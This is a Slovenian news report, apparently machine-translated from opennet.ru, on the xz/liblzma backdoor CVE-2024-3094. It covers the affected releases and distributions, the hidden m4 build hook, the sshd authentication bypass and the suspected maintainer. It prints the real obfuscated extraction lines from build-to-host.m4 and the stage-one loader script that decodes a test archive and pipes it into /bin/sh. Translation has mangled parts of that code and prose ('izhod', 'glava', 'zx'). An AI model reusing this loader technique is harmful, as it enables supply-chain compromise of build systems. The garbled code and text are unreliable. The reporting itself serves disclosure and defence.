V knjižnici xz/liblzma so bila odkrita zadnja vrata, ki omogočajo vstop prek sshd

V paketu XZ Utils, ki vključuje knjižnico liblzma in pripomočke za delo s stisnjenimi podatki v formatu ».xz«, so identificirana stranska vrata (CVE-2024-3094), ki omogočajo prestrezanje in spreminjanje podatkov, ki jih obdelujejo povezane aplikacije. s knjižnico liblzma. Glavna tarča backdoorja je strežnik OpenSSH, ki je v nekaterih distribucijah priložen knjižnici libsystemd, ta pa uporablja liblzma. Povezovanje sshd z ranljivo knjižnico omogoča napadalcem dostop do strežnika SSH brez preverjanja pristnosti.

Zadnja vrata so bila prisotna v uradnih izdajah 5.6.0 in 5.6.1, objavljenih 24. februarja in 9. marca, ki jima je uspelo priti v nekatere distribucije in repozitorije, na primer Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide in 40-beta, openSUSE factory in tumbleweed, LibreELEC, Alpine edge, Solus, NixOS nestabilen, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testiranje. Vsem uporabnikom izdaj xz 5.6.0 in 5.6.1 priporočamo, da se nujno vrnete na različico 5.4.6.

Med dejavniki, ki omilijo težavo, je mogoče omeniti, da različica liblzma z zadnjimi vrati ni uspela postati del stabilnih izdaj velikih distribucij, vendar je vplivala na openSUSE Tumbleweed in Fedora 40-beta. Arch Linux in Gentoo sta uporabila ranljivo različico zx, vendar nista dovzetna za napad, ker ne uporabita popravka systemd-notify za openssh, zaradi česar je sshd povezan z liblzma. Zadnja vrata vplivajo samo na sisteme x86_64, ki temeljijo na jedru Linuxa in knjižnici Glibc C.

Aktivacijska koda za stranska vrata je bila skrita v makrih m4 iz datoteke build-to-host.m4, ki jo uporablja komplet orodij automake pri gradnji. Med sestavljanjem je med izvajanjem zapletenih zakritih operacij na podlagi arhivov (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), ki se uporabljajo za testiranje pravilnosti delovanja, nastala objektna datoteka z zlonamerno kodo, ki je bila vključena v knjižnico liblzma in spremenil logiko delovanja nekaterih njenih funkcij. Makri m4, ki aktivirajo stranska vrata, so bili vključeni v arhive izdaje, vendar jih ni bilo v repozitoriju Git. Hkrati so bili v repozitoriju prisotni zlonamerni testni arhivi, tj. oseba, ki je implementirala stranska vrata, je imela dostop tako do repozitorija kot do procesov generiranja izdaje.

Pri uporabi liblzma v aplikacijah se lahko zlonamerne spremembe uporabijo za prestrezanje ali spreminjanje podatkov ali vplivajo na delovanje sshd. Zlasti zlonamerna koda je ponaredila funkcijo RSA_public_decrypt, da bi zaobšla postopek preverjanja pristnosti sshd. Zadnja vrata so vključevala zaščito pred odkrivanjem in se niso manifestirala, ko sta bili nastavljeni okoljski spremenljivki LANG in TERM (tj. pri izvajanju procesa v terminalu) in nista bili nastavljeni okoljski spremenljivki LD_DEBUG in LD_PROFILE, poleg tega pa se je aktiviral le pri izvajanju /usr/sbin/sshd izvršljiva datoteka. Zadnja vrata so imela tudi sredstvo za zaznavanje izvajanja v okoljih za odpravljanje napak.

Zlasti datoteka m4/build-to-host.m4 je uporabila gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_predpona -d 2>/dev/null'

V prvi konstrukciji je operacija grep našla datoteko tests/files/bad-3-corrupt_lzma2.xz, ki je po razpakiranju ustvarila skript: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && izhod 0 [ ! $(uname) = "Linux" ] && izhod 0 [ ! $(uname) = "Linux" ] && izhod 0 [ ! $(uname) = "Linux" ] && izhod 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status; then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi izvoz i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && glava -c +2048 && (glava -c +1024 >/dev/null) && glava -c +2048 && (glava -c +1024 >/dev/null) && glava - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Svet####

Kako je napadalcem uspelo pridobiti dostop do infrastrukture projekta xz, še ni povsem pojasnjeno. Prav tako še ni jasno, koliko uporabnikov in projektov je bilo ogroženih zaradi stranskih vrat. Domnevni avtor zakulisnih vrat (JiaT75 - Jia Tan), ki je v repozitorij objavil arhive z zlonamerno kodo, si dopisoval z razvijalci Fedore in Debianu pošiljal zahteve za vleko v zvezi s prehodom distribucij na vejo xz 5.6.0 in ni vzbuja sum, saj je sodeloval pri xz razvija zadnji dve leti in je drugi razvijalec po številu opravljenih sprememb. Poleg projekta xz je domnevni avtor backdoorja sodeloval tudi pri razvoju paketov xz-java in xz-embedded. Poleg tega je bil Jia Tan pred nekaj dnevi vključen v število vzdrževalcev projekta XZ Embedded, ki se uporablja v jedru Linuxa.

Zlonamerna sprememba je bila odkrita po analizi prekomerne porabe procesorja in napak, ki jih ustvari valgrind pri povezovanju prek ssh s sistemi, ki temeljijo na Debianu. Omeniti velja, da je izdaja xz 5.6.1 vključevala spremembe, ki jih je pripravil domnevni avtor backdoorja kot odgovor na pritožbe o upočasnitvah in zrušitvah sshd, ki so se pojavile po nadgradnji na različico zx 5.6.0 z backdoorjem. Poleg tega je Jia Tan lani naredil spremembe, ki niso bile združljive z načinom pregleda »-fsanitize=address«, zaradi česar je bil onemogočen med testiranjem fuzzov.

Vir: opennet.ru

Dodaj komentar